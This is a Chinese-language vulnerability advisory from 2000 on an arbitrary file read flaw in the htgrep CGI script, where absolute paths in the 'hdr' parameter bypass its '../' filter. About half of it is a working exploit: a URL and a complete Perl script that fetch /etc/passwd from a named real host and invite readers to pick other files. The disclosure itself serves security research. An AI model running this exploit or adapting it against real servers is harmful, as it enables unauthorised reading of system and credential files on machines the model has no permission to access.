Htgrep CGI程序泄漏系统文件内容
发布日期:2000-08-21
更新日期:2000-08-21
受影响系统:
Htgrep v3.0
Htgrep v2.2
Htgrep v2.0
- Unix系统
不受影响系统:
描述:
htgrep中的htgrep.pl脚本存在一个安全问题,远程用户可以以web服务器运行时的身份读取任意
系统文件。
这个CGI允许用户指定一个头文件和尾文件,将它们增加到搜索输出内容里。程序中过滤了"../"等
回退字符串。然而,如果直接指定文件的绝对路径,htgrep就会将这个文件的内容在页面中显示出
来。
<* 来源:n30 (
n30@gmx.co.uk) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://www.dematel.com/cgibin/htgrep/file=index.html&hdr=/etc/passwd
一个perl脚本
#!/usr/local/bin/perl
#
# Htgrep EXPLOIT Script by n30 17/8/2000
#
# For: Unix/Linux all Distro's
# maybe Winnt?? anyone??
#
# Versions: All upto latest: htgrep v3.0
#
# Info: to find the version number being used:
#
# www.server.com/cgi-bin/htgrep/version
#
# Some ppl use a wrapper for the script thusly
# eliminating the file argument, the sploit will
# still werk just add &hdr=<filename> to the end :-)
#
# if &isindex=<text> is present in the URL REMOVE IT!!!
# or else the exploit won't werk :-)
#
# Mail : n30@gmx.co.uk
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $ua = new LWP::UserAgent;
# *************************************************
my $TargetHost="www.dematel.com";
my $TargetPath="/cgibin/htgrep";
# SearchFile can commonly be index.html or some other file
in the wwwroot
my $SearchFile="index.html";
# FiletoGet ?? think for ur self :-)
my $FiletoGet="/etc/passwd";
# **************************************************
my
$url="http://".$TargetHost.$TargetPath."/file=$SearchFile&hd
r=$FiletoGet";
print("\nHtgrep Arbitrary File Reading Vulnerability
EXPLOIT /n30\n\n");
print("URL: $url\n\n");
my $request = new HTTP::Request('GET', $url);
my $response = $ua->request($request);
if ($response->is_success) {
print $response->content;
} else {
print $response->error_as_HTML;
}
# Definitely NOT
Hack.co.za #
建议:
软件作者已经得知这一问题,暂时仍没有补丁出来,相关地址:
http://www.iam.unibe.ch/~scg/Src/Doc/
浏览次数:6559
严重程度:0(网友投票)